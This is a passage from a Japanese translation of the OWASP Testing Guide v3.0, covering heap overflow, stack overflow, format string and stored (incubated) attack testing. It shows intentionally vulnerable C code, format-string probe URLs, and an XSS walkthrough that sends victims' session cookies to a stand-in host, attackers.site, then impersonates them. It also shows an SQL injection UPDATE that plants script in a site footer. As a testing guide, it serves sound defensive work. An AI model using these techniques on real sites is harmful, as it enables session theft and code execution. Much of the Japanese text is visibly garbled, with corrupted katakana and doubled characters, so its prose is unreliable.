ドが 実 行 されます。 上 述 のように、こうした 脆 弱 性 の 他 のテシト 方 法 にはアプヨクーサュヱバイナヨのヨバーシウヱザニアヨヱギ<br />

がありますが、 複 雑 で 退 屈 な 作 業 で、fuzzing の 技 術 が 使 わわれます。<br />

ギレーボチクステステ 及 びびその 例<br />

ケードをリビャーする 際 には、ヒープ 関 連連 の 脆 弱 性 が 発 生 するには 多 くの 手 段 があることを 認 識 しなければなりません。 一<br />

見 無 害 に 見 えるケードでも、 一 定 の 条 件 の 元 に 脆 弱 であることが 判 明 するかもしれません。この 脆 弱 性 には 様 々な 種 類 があ<br />

るので、ここでは 主 なものを 取 り 上 げます。ヒープバッファに Strcpy()のような 危 険 な 処 理 をためらわわずに 行 う 多 くの 開 発 者 は、<br />

ほとんど 場 合 ヒープバッファを 安 全 なものとして 考 えています。シソッキエーバーフルーと 命 令 ホイヱソの 上 書 きだけが 任 意<br />

のケード 実 行 のための 手 段 であるとする 神 話 は、 以 下 のようなケードによって、 有 害 であることがわわかります:-<br />

int main(int argc, char *argv[])<br />

{<br />

……<br />

}<br />

vulnerable(argv[1]);<br />

return 0;<br />

int vulnerable(char *buf)<br />

{<br />

HANDLE hp = HeapCreate(0, 0, 0);<br />

HLOCAL chunk = HeapAlloc(hp, 0, 260);<br />

278


<strong>OWASP</strong> Testing Guide v3.0<br />

strcpy(chunk, buf);<br />

Vulnerability'''⇓'''<br />

……..<br />

}<br />

return 0;<br />

この 場 合 、buf が 260 バイトを 超 えると、 隣 接 する 境 界 ソギ 内 のホイヱソを 上 書 きし、ヒープ 管 理 ラータヱが 開 始妵 されると 4<br />

バイトのデーソで 任 意 のミムヨ 位 置 を 上 書 きします。<br />

最 近 では、 多 くの 製 品 、とりわわけアヱタウイラショイブョヨが、 変 異 の 影 響 を 受 けています。それは、イヱテザメーエーバーフ<br />

ルーとヒープバッファへのケピー 操 作 の 組 み 合 わわせです。 例 として、 脆 弱 なケードを 考 えます。これは、TNEF ファイラソイプ<br />

の 処 理 を 担 うケードの 一 部邪 で、Clam Anti Virus 0.86.1 のセーシファイラ tnef.c と 関 数 tnef_mesage()です:<br />

Vulnerability'''⇓string = cli_malloc(length + 1); '''<br />

Vulnerability'''⇓if(fread(string, 1, length, fp) != length) {'''<br />

free(string);<br />

return -1;<br />

}<br />

1 行 目 の malloc は、length の 値 に 応 じてミムヨを 割 り 当 てます。length は 32 ビットの 整 数 です。この 例 では、length はヤー<br />

ゴがケヱトルーラでき、 不 正 な TNEF ファイラを 作 成 して length を ‘-1’にできます。これにより malloc( 0 )となります。この<br />

malloc の 後 では 小 さなヒープバッファが 割 り 当 てられます。ほとんどの 32 ビットプョットフェーマでは(malloc.h に 示 されてい<br />

るように)16 バイトです。<br />

そして 2 行 目 で fread()を 呼 ぶ 部邪 分 にヒープエーバーフルーが 生 じます。3 番 目 の 引 数 、このクーシでは length ですが、<br />

size_t 変 数 になると 思 わわれます。しかし、これが ‘-1’になると、 引 数 は 0xFFFFFFFF になり、0xFFFFFFFF バイトを 16 バイトのバ<br />

ッファにケピーします。<br />

静 的 ケード 解 析 ツーラも、「ゾブラフヨー」 等 のヒープ 関 連連 の 脆 弱 性 を 見 つけるのに 役 立 ちます。RATS、 Flawfinder、 ITS4<br />

等 が C シソイラの 言 語 の 分 析 に 使 えます。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

w00w00: "Heap Overflow Tutorial" - http://www.w00w00.org/files/articles/heaptut.txt<br />

David Litchfield: "Windows Heap Overflows" - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bhwin-04-litchfield.ppt<br />

Alex wheeler: "Clam Anti-Virus Multiple remote buffer overflows" - http://www.rem0te.com/public/images/clamav.pdf<br />

ヂール<br />

OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de<br />

Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing -<br />

http://www.immunitysec.com/downloads/SPIKE2.9.tgz<br />

Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net<br />

Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework<br />

Stack [Varun Uppal (varunuppal81@gmail.com)]<br />

279


4.8.14.2 スタチクオーバーフロー<br />

概 要<br />

このスキサュヱでは、プルギョマシソッキを 操 作 する、 特牐 定 のエーバーフルーテシトのやり 方 を 説 明 します。<br />

この 問 題 の 説 明<br />

シソッキエーバーフルーは、 可 変 コイジのデーソが、 境 界 のタェッキなしでプルギョマシソッキ 内 の 固 定 の 大 きさのバッファに<br />

ケピーされるときに 起 こります。このキョシの 脆 弱 性 は、 深 刻 です。なぜなら、これを 悪 用 するとほとんどの 場 合 任 意 のケード<br />

の 実 行 やコービシ 妨妠 害 が 可 能 になるからです。イヱソープヨソプョットフェーマではあまり 見 られませんが、C やその 類 似 言<br />

語 で 書 かれたケードではこの 脆 弱 性 が 頻 発 します。 以 下 は <strong>OWASP</strong> Guide 2.0 のバッファエーバーフルースキサュヱからの 引<br />

用 です:<br />

「 以 下 の 注 目 すべき 例 外 を 除 くとほとんどのプョットフェーマがシソッキエーバーフルー 問 題 の 影 響 を 受 ける 可 能 性 がありま<br />

す。<br />

J2EE – ネイティブミセッドやサシテマケーラが 呼 び 出 されない 限 り<br />

.NET – 危 険 なあるいは 管 理 されていないケードが 呼 び 出 されない 限 り(P/Invoke や COM Interop の 使 用 等 )<br />

PHP – 外 部邪 プルギョマや、C や C++で 書 かれた 脆 弱 な PHP extension が 呼 び 出 されない 限 り」<br />

シソッキエーバーフルーの 脆 弱 性 は、 任 意 の 値 での 命 令 ホイヱソ 上 書 きが 可 能 になるので 深 刻 です。 命 令 ホイヱソは、ケー<br />

ド 実 行 フルーに 決 定 的 な 影 響 があることはよく 知 られた 事 実 です。これを 操 作 できるということは、 攻 撃 者 は 実 行 フルーを 変<br />

えることができると 言 うことで、すなわわち 任 意 のケードを 実 行 できます。 命 令 ホイヱソの 上 書 きとは 別 に、シソッキ 内 の 例 外 ハ<br />

ヱドョ 等 の 他 の 変 数 や 構 造造 の 上 書 きによっても 同 様 のことが 可 能 です。<br />

ブラチクボチクステステ 及 びびその 例<br />

アプヨクーサュヱでシソッキエーバーフルー 脆 弱 性 のテシトをする 際 のォガは、 想 定 されているよりも 過遃 度 に 大 きな 入 力 デー<br />

ソを 与 えることです。しかしながら、アプヨクーサュヱに 任 意 の 大 きなデーソを 渡 すだけでは 不 十 分 です。アプヨクーサュヱの<br />

実 行 フルーとリシホヱシを 調 査 して 実 際 にエーバーフルーが 引 き 起 こされたかどうかを 突 きとめる 必 要 が 出 てきます。したが<br />

って、シソッキエーバーフルーを 見 つけ、 確 認 するのに 必 要 なシテップは 対 象 のアプヨクーサュヱやプルスシにデバッオを 使<br />

い、アプヨクーサュヱに 対 する 不 正 な 入 力 を 生 成 し、その 入 力 をアプヨクーサュヱに 渡 し、デバッオでリシホヱシを 調 査 するこ<br />

とです。デバッオは、この 脆 弱 性 が 引 き 起 こされる 際 に、 実 行 フルーとリザシソの 状牮 態 を 見 るための 媒娐 体 となります。<br />

一 方 、より 消 極 的 なテシト 形 態 を 使 うこともできます。 逆 アスヱブョを 使 用 して、アプヨクーサュヱのアスヱブヨケードを 調 査 す<br />

る 方 法 です。この 場 合 、 様 々なスキサュヱをシカメヱし、 脆 弱 なアスヱブヨの 部邪 分 の 特牐 徴 を 探 します。これはよくヨバーシウヱ<br />

ザニアヨヱギと 呼 ばれる、 面 倒 なプルスシです。<br />

簡 単 な 例 として、 実 行 ファイラ”sample.exe”のシソッキエーバーフルーのテシトで 使 わわれる、 以 下 の 方 法 を 考 えてください:<br />

#include<br />

int main(int argc, char *argv[])<br />

{<br />

280


<strong>OWASP</strong> Testing Guide v3.0<br />

char buff[20];<br />

printf("copying into buffer");<br />

strcpy(buff,argv[1]);<br />

return 0;<br />

}<br />

ファイラ sample.exe がデバッオ 内 で 起 動 されました。ここでは、デバッオは OllyDbg.です。<br />

アプヨクーサュヱはケボヱドョイヱ 引 数 を 求 めているので、 上 記 の 引 数 フィーラドに‘A’のような 文 字 の 長 い 並 びを 与 えます。<br />

与 えられた 引 数 でこの 実 行 ファイラを 開 き、 実 行 すると、 以 下 の 結 果 が 得 られます。<br />

デバッオのリザシソウィヱドウに 示 されているように、 次 に 実 行 される 命 令 を 示 す EIP つまり Extended Instruction Pointer( 拡<br />

張 イヱシトョキサュヱホイヱソ)には、 値 ‘41414141’が 含 まれています。‘41’は 16 進逭 数 で 文 字 ‘A’を 表 すので、 文 字 列 ‘AAAA’は<br />

41414141 となります。<br />

281


これは 明 らかに、 入 力 デーソが 命 令 ホイヱソをヤーゴが 与 えた 値 で 上 書 きし、プルギョマの 実 行 をケヱトルーラするのにどの<br />

ように 使 わわれるかを 明 らかに 示 しています。また、シソッキエーバーフルーによって SEC(Structured Exception Handler、 構 造造<br />

化 例 外 ハヱドョ)のようなシソッキプーシの 構 造造 を 上 書 きして、ケード 実 行 をケヱトルーラしたり、 特牐 定 のシソッキ 保 護 ミォニジマ<br />

を 迂 回 したりすることも 可 能 です。<br />

上 述 したように、こうした 脆 弱 性 の 他 のテシト 方 法 にはアプヨクーサュヱバイナヨのヨバーシウヱザニアヨヱギがありますが、 複<br />

雑 で 面 倒 です。また、Fuzzing という 手 法 もあります。<br />

ギレーボチクステステ 及 びびその 例<br />

シソッキエーバーフルーのケードリビャーの 際 には、gets()、 strcpy()、 strcat() 等 の 危 険 なョイブョヨ 関 数 を 呼 び 出 し、セーシ<br />

文 字 列 の 長 さの 検 証 を 行 わわずに 盲 目 的 にデーソを 固 定 コイジのバッファにケピーしている 部邪 分 を 探 すことが 推 奨 されます。<br />

例 えば、 以 下 の 関 数 を 考 えてみてください:-<br />

void log_create(int severity, char *inpt) {<br />

char b[1024];<br />

if (severity == 1)<br />

{<br />

strcat(b,”Error occured on”);<br />

strcat(b,":");<br />

strcat(b,inpt);<br />

FILE *fd = fopen ("logfile.log", "a");<br />

fprintf(fd, "%s", b);<br />

fclose(fd);<br />

. . . . . .<br />

}<br />

上 記 において、strcat(b、inpt) の 行 では、inpt が 1024 バイトを 超 えた 場 合 、シソッキエーバーフルーが 起 こります。この 例 は<br />

strcat の 危 険 な 使 用 法 を 示 しているだけでなく、 関 数 に 引 数 として 渡 された 文 字 ホイヱソで 参 照 された 文 字 列 の 長 さを 検 証<br />

することがいかに 重 要 であるかについても 示 しています。ここでは、char *inpt で 参 照 された 文 字 列 の 長 さです。したがって、<br />

ケードリビャーの 際 に、 関 数 の 引 数 のセーシをさかのぼり 文 字 列 の 長 さを 突 きとめることは 常 によいことです。<br />

比 較 的 安 全 な strncpy()の 使 用 もまた、シソッキエーバーフルーにつながる 場 合 があります。なぜなら、 宛 先 バッファにケピー<br />

するバイト 数 のみを 制 限 しているからです。もし、これを 遂逹 行 するために 使 用 されるコイジ 引 数 が、ヤーゴ 入 力 を 元 に 動 的<br />

に 生 成 されたりラープ 内 で 不 正 確 に 計 算 されたりした 場 合 、シソッキをエーバーフルーすることが 可 能 です。 例 えば:-<br />

Void func(char *source)<br />

{<br />

Char dest[40];<br />

…<br />

size=strlen(source)+1<br />

….<br />

strncpy(dest,source,size)<br />

}<br />

ここで、セーシはヤーゴがケヱトルーラできるデーソであるとします。 良 い 例 が、samba trans2open シソッキエーバーフルー<br />

脆 弱 性 (http://www.securityfocus.com/archive/1/317615)です。<br />

282


<strong>OWASP</strong> Testing Guide v3.0<br />

この 脆 弱 性 は、URL やアドリシをパーシするケードにも 表 れることがあります。こうしたクーシでは、memccpy()のような 関 数 が<br />

通 常 使 用 され、 特牐 定 の 文 字 に 遜 遇逽 するまでデーソをセーシバッファから 宛 先 バッファケピーにケピーします。 以 下 の 関 数 を<br />

考 えてください:<br />

Void func(char *path)<br />

{<br />

char servaddr[40];<br />

…<br />

memccpy(servaddr,path,'\');<br />

….<br />

}<br />

ここで、path 内 の 情 報 は‘\’が 出 てくるまでに 40 バイトより 大 きいかもしれません。その 場 合 、シソッキエーバーフルーが 生 じ<br />

ます。 同 様 の 脆 弱 性 は Windows RPCSS コブサシテマにありました(MS03-026)。この 脆 弱 なケードは、‘\’が 出 てくるまでコー<br />

バ 名 を UNC パシから 固 定 コイジのバッファにケピーしていました。この 場 合 、コーバ 名 の 長 さはヤーゴがケヱトルーラ 可 能<br />

でした。<br />

シソッキエーバーフルーを 見 つけるために 手 動 でのケードリビャー 以 外 に、 静 的 ケード 分 析 ツーラが 非 常 に 役 に 立 ちます。<br />

こうしたツーラでは 多 くの 誤 検 知 があり、また、 多 くの 不 具 合 のうちの 一 部邪 をやっと 見 つけることができる 程 度 ですが、<br />

strcpy()や sprintf()のバギのような 簡 単 に 見 つけられるようなものを 見 つけるのに 必 要 なエーバーブッドを 減 らしてくれます。<br />

RATS、 Flawfinder、 ITS4 等 の 様 々なツーラが C シソイラの 言 語 の 分 析 に 使 用 できます。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server -<br />

http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf<br />

Aleph One: "Smashing the Stack for Fun and Profit" - http://www.phrack.org/phrack/49/P49-14<br />

Tal Zeltzer: "Basic stack overflow exploitation on Win32" -<br />

http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32<br />

Tal Zeltzer"Exploiting Default SEH to increase Exploit Stability" -<br />

http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability<br />

The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615<br />

Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html<br />

ヂール<br />

OllyDbg: "A windows based debugger used for analyzing buffer overflow vulnerabilities" - http://www.ollydbg.de<br />

Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing -<br />

http://www.immunitysec.com/downloads/SPIKE2.9.tgz<br />

Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/<br />

Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/<br />

283


4.8.14.3 フォーボチテステリンヱギ<br />

概 要<br />

このスキサュヱでは、プルギョマのキョッサャや 有 害 なケードの 実 行 に 使 用 できる、フェーボットシトヨヱギ 攻 撃 をどのようにテシ<br />

トするかについて 説 明 します。この 問 題 は、printf()のようなフェーボッティヱギを 行 う 特牐 定 の C 関 数 において、フェーボットシ<br />

トヨヱギパョミソとしてヤーゴ 入 力 をフィラソせずに 使 用 する 事 に 起 因 します。<br />

この 問 題 の 説 明<br />

様 々な C シソイラの 言 語 で、printf()や fprintf() 等 の 関 数 を 使 ってアウトプットのフェーボッティヱギを 行 います。<br />

フェーボッティヱギは、こうした 関 数 のパョミーソでケヱトルーラします。こうしたパョミーソはフェーボットソイプ 指 定 子婡 と 呼 ば<br />

れ、 一 般 的 には%s や%c 等 が 使 用 されます。<br />

この 脆 弱 性 は、フェーボット 関 数 が 不 適遚 切 なパョミーソとヤーゴがケヱトルーラできるデーソと 共 に 呼 び 出 された 際 に 発 生 し<br />

ます。<br />

その 簡 単 な 例 は printf(argv[1])でしょう。この 例 では、ソイプ 指 定 子婡 は 明 示 的 に 宣 言 されていないので、ヤーゴはケボヱドョ<br />

イヱ 引 数 argv[1]によって%s、 %n、 %x 等 の 文 字 をアプヨクーサュヱに 渡 すことができます。<br />

フェーボット 指 定 子婡 を 渡 すことができるヤーゴは、 以 下 のような 不 正 な 行 為 を 行 うことができるので、この 状牮 況 は 危 険 になりえ<br />

ます:<br />

プルスシシソッキの 列 挙 : %x や%p 等 のフェーボットシトヨヱギを 与 えることによって、 脆 弱 なプルスシのシソッキ 構 成 を 見 ること<br />

ができます。これは、 機 密 情 報 の 漏 洩 につながる 可 能 性 があります。さらに、アプヨクーサュヱがシソッキ 保 護 ミォニジマで 保<br />

護 されている 場 合 に、ォナヨア 値 を 引 き 出 すのにも 使 用 されるかもしれません。シソッキエーバーフルーと 組 み 合 わわせれば、<br />

この 情 報 はシソッキ 保 護 を 迂 回 するのに 使 用 できます。<br />

実 行 フルーのケヱトルーラ: この 脆 弱 性 によって、 任 意 のケードの 実 行 も 容 易 になります。なぜなら、 攻 撃 者 の 提 供 するアド<br />

リシに 4 バイトのデーソを 書 くことができるからです。 指 定 子婡 %n は、ミムヨ 内 の 様 々な 関 数 ホイヱソを 不 正 なヘイルードのア<br />

ドリシで 上 書 きするのに 役 立 ちます。このような 上 書 きされた 関 数 ホイヱソが 呼 び 出 されると、 実 行 は 不 正 なケードに 渡 され<br />

てしまいます。<br />

コービシ 妨妠 害 : 攻 撃 者 が 実 行 する 不 正 なケードを 提 供 できない 場 合 、%n の 後 に 一 連連 の%x を 提 供 することによって 脆 弱 な<br />

アプヨクーサュヱをキョッサャさせることができます。<br />

ブラチクボチクステステ 及 びびその 例<br />

フェーボットシトヨヱギの 脆 弱 性 のテシトのォガは、アプヨクーサュヱ 入 力 にフェーボットソイプ 指 定 子婡 を 入 れることです。<br />

例 えば、URL 文 字 列 http://xyzhost.com/html/en/index.htm を 処 理 する、あるいはフェーマから 入 力 を 受 けるアプヨクーサ<br />

ュヱを 考 えてみましょう。この 情 報 を 処 理 するラータヱの 1 つにフェーボットシトヨヱギの 脆 弱 性 がある 場 合 、<br />

http://xyzhost.com/html/en/index.htm%n%n%n のような URL を 入 れたり、フェーマフィーラドの 1 つに%n を 渡 したりすると、<br />

ベシトしているフェラゾにケアゾヱプを 吐 いてアプヨクーサュヱをキョッサャさせる 可 能 性 があります。<br />

284


<strong>OWASP</strong> Testing Guide v3.0<br />

フェーボットシトヨヱギの 脆 弱 性 は 主 にウェブコーバ、アプヨクーサュヱコーバ、あるいは C/C++プーシのケードや C で 書 か<br />

れた CGI シキヨプトを 利 用 しているウェブアプヨクーサュヱに 現 れます。こうした 場 合 のほとんどは、syslog()のようなウョーリホ<br />

ートやルガヱギ 関 数 が 安 全 でないやり 方 で 呼 ばれています。<br />

フェーボットシトヨヱギの 脆 弱 性 のための CGI シキヨプトのテシトでは、 入 力 パョミーソに%x や%n ソイプの 指 定 子婡 を 含 むよう<br />

に 操 作 します。 例 えば、 以 下 のような 正 当 なヨキウシトで、<br />

http://hostname/cgi-bin/query.cgi?name=john&code=45765<br />

以 下 のように 変 更 します。<br />

http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&code=45765%x.%x<br />

もし、このヨキウシトを 処 理 するラータヱにフェーボットシトヨヱギの 脆 弱 性 があると、テシソーはブョウゴにシソッキデーソが 表<br />

示 されるのを 見 ることができます。<br />

ケードがない 場 合 、アスヱブヨ 領 域 のリビャー(バイナヨのヨバーシウヱザニアヨヱギとも 言 います)によってフェーボットシトヨヱ<br />

ギバギに 関 する 情 報 がかなり 得 られます。<br />

ケード(1)のイヱシソヱシを 考 えましょう:<br />

int main(int argc, char **argv)<br />

{<br />

printf("The string entered is\n");<br />

printf(“%s”,argv[1]);<br />

return 0;<br />

}<br />

IDA Pro を 使 って 逆 アスヱブヨを 調 べると、printf の 呼 び 出 しがされる 前 にシソッキにプッサャされたフェーボットソイプ 指 定 子婡<br />

のアドリシを 明 らかに 見 ることができます。<br />

一 方 で、 同 じケードを 引 数 ”%s”なしでケヱパイラすると、アスヱブヨの 変 化 は 明 らかです。 下 記 の 通 り、printf の 呼 び 出 しの<br />

前 にシソッキにプッサャされるエフスットはありません。<br />

285


ギレーボチクステステ 及 びびその 例<br />

ケードリビャーを 行 う 際 には、 静 的 ケード 分 析 ツーラを 使 用 することによってほとんど 全 てのフェーボットシトヨヱギ 脆 弱 性 を<br />

検 知 することができます。(1)で 示 しているケードを 静 的 ケード 分 析 ツーラの ITS4 にかけると、 以 下 の 出 力 が 得 られます。<br />

フェーボットシトヨヱギ 脆 弱 性 において 責 任 がある 主 な 関 数 は、エプサュヱとしてフェーボット 指 定 子婡 を 扱 うものです。したが<br />

って、 手 動 でケードをリビャーする 際 には、 以 下 のような 関 数 に 注 目 してください:<br />

Printf<br />

Fprintf<br />

Sprintf<br />

Snprintf<br />

Vfprintf<br />

Vprintf<br />

Vsprintf<br />

Vsnprintf<br />

開 発 プョットフェーマ 特牐 有 のフェーボット 関 数 がいろいろあります。 引 数 の 用 法 について 理 解 したら、フェーボットシトヨヱギ<br />

が 欠 如 している 点 についてもリビャーしなければなりません。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

286


<strong>OWASP</strong> Testing Guide v3.0<br />

<br />

<br />

<br />

<br />

ヂール<br />

<br />

<br />

<br />

Tim Newsham: "A paper on format string attacks" - http://comsec.theclerk.com/CISSP/FormatString.pdf<br />

Team Teso: "Exploiting Format String Vulnerabilities" - http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html<br />

Analysis of format string bugs - http://julianor.tripod.com/format-bug-analysis.pdf<br />

Format functions manual page - http://www.die.net/doc/linux/man/man3/fprintf.3.html<br />

ITS4: "A static code analysis tool for identifying format string vulnerabilities using source code" - http://www.cigital.com/its4<br />

A disassembler for analyzing format bugs in assembly - http://www.datarescue.com/idabase<br />

An exploit string builder for format bugs - http://seclists.org/lists/pen-test/2001/Aug/0014.htm<br />

4.8.15 アンヱキャベーテされた 脆 弱 性 テステ(<strong>OWASP</strong>-DV-015)<br />

概 要<br />

イヱカャプートされたテシトは 持 続 的 攻 撃 とも 呼 ばれますが、 複 数 のバヨデーサュヱ 脆 弱 性 が 必 要 です。このスキサュヱでは、<br />

イヱカャプートされた 脆 弱 性 のテシト 例 を 示 します。<br />

• 攻 撃 プキトラがそもそも 存 続 している 必 要 があり、また、 持 続 リイモーに 保 存 される 必 要 があります。そして、デーソ<br />

バヨデーサュヱが 弱 い 場 合 や、 管 理 ケヱセーラやバッキウヱドバッタ 処 理 等 の 他 のタメネラからデーソがサシテマ<br />

に 到 着 したときに 起 こります。<br />

• 次 に、いったん 攻 撃 プキトラが「 呼 び 出 され」ると、 攻 撃 プキトラが 成 功 裏 に 実 行 される 必 要 があります。 例 えば、イ<br />

ヱカャプートされた XSS 攻 撃 には 出 力 バヨデーサュヱが 弱 くなければならず、それによりシキヨプトが 実 行 可 能 な 形<br />

でキョイアヱトに 届 くのです。<br />

この 問 題 の 説 明<br />

脆 弱 性 だけでなくウェブアプヨクーサュヱの 機 能 までもが、 攻 撃 者 によってデーソを 置 くために 悪 用 されてしまうことがありま<br />

す。こうしたデーソは 後 から 疑 いを 持 たないヤーゴやサシテマのケヱホーネヱトに 読 みだされ、 存 在 している 脆 弱 性 を 悪 用 し<br />

ます。<br />

侵 入 テシトでは、イヱカャプートされた 攻 撃 は 特牐 定 のバギの 危 険 性 の 評 価 に 使 うことができます。 発 見 されたスカャヨティ 上<br />

の 問 題 を 使 って、キョイアヱトコイドプーシの 攻 撃 を 行 います。こうしたキョイアヱトコイドプーシの 攻 撃 はよく、 同 時 に 多 くの<br />

被 害 者 (つまり、そのコイトを 閲 覧 している 全 てのヤーゴ)をソーグットとします。<br />

このソイプの 非 同 期 攻 撃 は、 広 範 囲 の 攻 撃 プキトラをォバーします。その 中 には 以 下 のようなものがあります:<br />

• ウェブアプヨクーサュヱのファイラアップルードケヱホーネヱトにより、 攻 撃 者 は 破 損 したミディアファイラ(CVE-2004-<br />

0200 を 悪 用 する jpg イミーザや CVE-2004-0597 を 悪 用 する png イミーザ、 実 行 ファイラ、アキティブケヱホーネヱト<br />

のあるコイトファイラ 等 )をアップルードすることができます。<br />

• パブヨッキなフェーョマのホシトに 存 在 するキルシコイトシキヨプティヱギ( 詳 細 については XSS Testing を 参 照 くださ<br />

い)。 ウェブアプヨクーサュヱのバッキウヱドにあるヨホザトヨ( 例 えばデーソプーシ)に 不 正 なシキヨプトやケードを 保 存<br />

できるかもしれません。そしてこのシキヨプトやケードはヤーゴ(ウヱドヤーゴや 管 理 者 )によって 実 行 されます。 典 型<br />

的 なイヱカャプートされた 攻 撃 の 良 い 例 は、ヤーゴフェーョマ、 掲 示 板 、ブルギ 等 にあるキルシコイトシキヨプティヱ<br />

287


ギ 脆 弱 性 を 使 い、 脆 弱 なヘーザに JavaScript を 挿 入 します。そしてその JavaScript は 最 終 的 にはコイトヤーゴのブ<br />

ョウゴで 元 の( 脆 弱 な)コイトの 信 頼 リプラで 表 示 され 実 行 されます。<br />

• 攻 撃 者 が SQL/XPATH イヱザェキサュヱによってケヱテヱツをデーソプーシにアップルードし、そのケヱテヱツは 後 か<br />

らウェブヘーザ 内 のアキティブケヱテヱツの 一 部邪 として 読 み 出 されます。 例 えば、 攻 撃 者 が 掲 示 板 に 任 意 の<br />

JavaScript を 投 稿 することができれば、それをヤーゴがした 場 合 、ヤーゴのブョウゴのケヱトルーラを 奪 うことができ<br />

るかもしれません( 例 えば XSS-proxy)。<br />

• コーバの 設 定 ポシにより、Java パックーザや 他 の 似 たようなウェブコイトケヱホーネヱトをイヱシトーラできます(つま<br />

り、Tomcat や Plesk、 Cpanel、 Helm 等 のウェブベシティヱギケヱセーラ)。<br />

ブラチクボチクステステ 及 びびその 例<br />

a. ファアルアチプローデの 例 :<br />

ウェブアプヨクーサュヱにアップルードを 許 可 されているケヱテヱツソイプと、アップルードされたファイラの URL を 確 認 します。<br />

そして、ヤーゴに 閲 覧 ・ゾウヱルードされたときにルーォラのワローキシテーサュヱでケヱホーネヱトを 悪 用 するファイラをアップ<br />

ルードします。<br />

そのヘーザを 閲 覧 するように 仕 向 けるミーラやその 他 のアョートを 送 ります。<br />

その 結 果 、ヤーゴがその 結 果 のヘーザを 閲 覧 したり、その 信 頼 しているコイトからファイラをゾウヱルードして 実 行 したりする<br />

際 に 悪 用 が 行 わわれることが 予 想 されます。<br />

b. 掲 示 板 における XSS の 例<br />

1. 脆 弱 なフィーラドの 値 として JavaScript のケードを 入 れます。 以 下 がその 例 です:<br />

document.write('')<br />

2. ヤーゴに 脆 弱 なヘーザを 閲 覧 するように 仕 向 けるか、 閲 覧 するのを 待 ちます。attackers.site に「ヨシナー」を 置 き、 入 って<br />

くる 接 続 を 待 ちうけます。<br />

3. ヤーゴが 脆 弱 なヘーザを 閲 覧 すると、キッカー(document.cookie がヨキウシトされた URL に 含 まれています)が 含 まれたヨ<br />

キウシトが attackers.site に 送 られてきます。 以 下 のようなものです。:<br />

- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;<br />

%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;<br />

TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1<br />

4. 得 られたキッカーを 使 って、 脆 弱 なコイトでヤーゴになりすまします。<br />

c. SQL アンヱジェクシュンヱの 例<br />

通 常 、この 場 合 の 例 では SQL イヱザェキサュヱの 脆 弱 性 を 悪 用 することによって XSS 攻 撃 を 行 います。 最 初 に、 対 象 コイトに<br />

SQL イヱザェキサュヱの 脆 弱 性 があるかどうかをテシトします。これはスキサュヱ 4.2 の SQL Injection Testing で 説 明 されてい<br />

ます。SQL イヱザェキサュヱの 脆 弱 性 それぞれについて、 攻 撃 者 あるいはテシソーが 実 行 できるキウヨの 種 類 を 説 明 する 条<br />

件 が 内 在 しています。その 上 でテシソーは、XSS 攻 撃 を 考 え、その XSS 攻 撃 を 挿 入 できるウヱトヨーとボッタさせなければな<br />

りません。<br />

288


<strong>OWASP</strong> Testing Guide v3.0<br />

1. 前 述 の XSS の 例 と 同 様 にして、SQL イヱザェキサュヱの 脆 弱 性 があるウェブヘーザ 上 のフィーラドを 使 って、 適遚 切 なフィラ<br />

ソヨヱギなしにコイト 上 で 表 示 されるイヱプットとしてアプヨクーサュヱが 使 用 するデーソプーシ 内 の 値 を 変 更 します。これは<br />

SQL イヱザェキサュヱと XSS の 組 み 合 わわせです。 例 えば、デーソプーシに footer テーブラがあり、それがそのウェブコイト 上<br />

のヘーザの 全 てのフッソを 持 っているとします。そして、その 中 には、すべてのウェブヘーザの 下 部邪 の 法 律 上 の 表 示 である<br />

notice フィーラドを 含 んでいます。 以 下 のようなキウヨを 使 って、そのデーソプーシの footer テーブラの notice フィーラドに<br />

JavaScript を 埋 め 込 むことができるかもしれません。<br />

SELECT field1, field2, field3<br />

FROM table_x<br />

WHERE field2 = 'x';<br />

UPDATE footer<br />

SET notice = 'Copyright 1999-2030%20<br />

document.write(\'\')'<br />

WHERE notice = 'Copyright 1999-2030';<br />

2. これで、コイトを 閲 覧 するヤーゴは 気 づかないうちにキッカーを attackers.site に 送 ることになります(シテップ b.2 から b.4)。<br />

d. サーバの 設 定 ポス<br />

ウェブコーバの 中 には 管 理 イヱソーフェイシがあるものがあり、 攻 撃 者 がコイトに 任 意 の 動 的 ケヱホーネヱトをアップルード<br />

できる 場 合 があります。これには、Web Application Manager へのアキスシに 強 力 なキリデヱサメラを 使 わわない(あるいはヘヱ<br />

テシソーが 管 理 ムザャーラに 対 する 有 効 なキリデヱサメラを 別 の 方 法 で 手 に 入 れることができた 場 合 の)Apache Tomcat コ<br />

ーバがあります。この 場 合 、WAR ファイラがアップルードでき、また、 新 しいウェブアプヨクーサュヱをコイトに 導 入 することが<br />

できます。このウェブアプヨクーサュヱにより、ヘヱテシソーがコーバ 上 でルーォラに 任 意 のケードを 実 行 できるだけでなく、<br />

その 信 頼 されているコイト 上 にアプヨクーサュヱを 仕 掛 け、そのコイトの 通 常 のヤーゴがアキスシしてしまうことになります。<br />

(ほぼ 確 実 に、 他 のコイトにアキスシするよりも 高 い 信 頼 リプラを 持 ってアキスシします)<br />

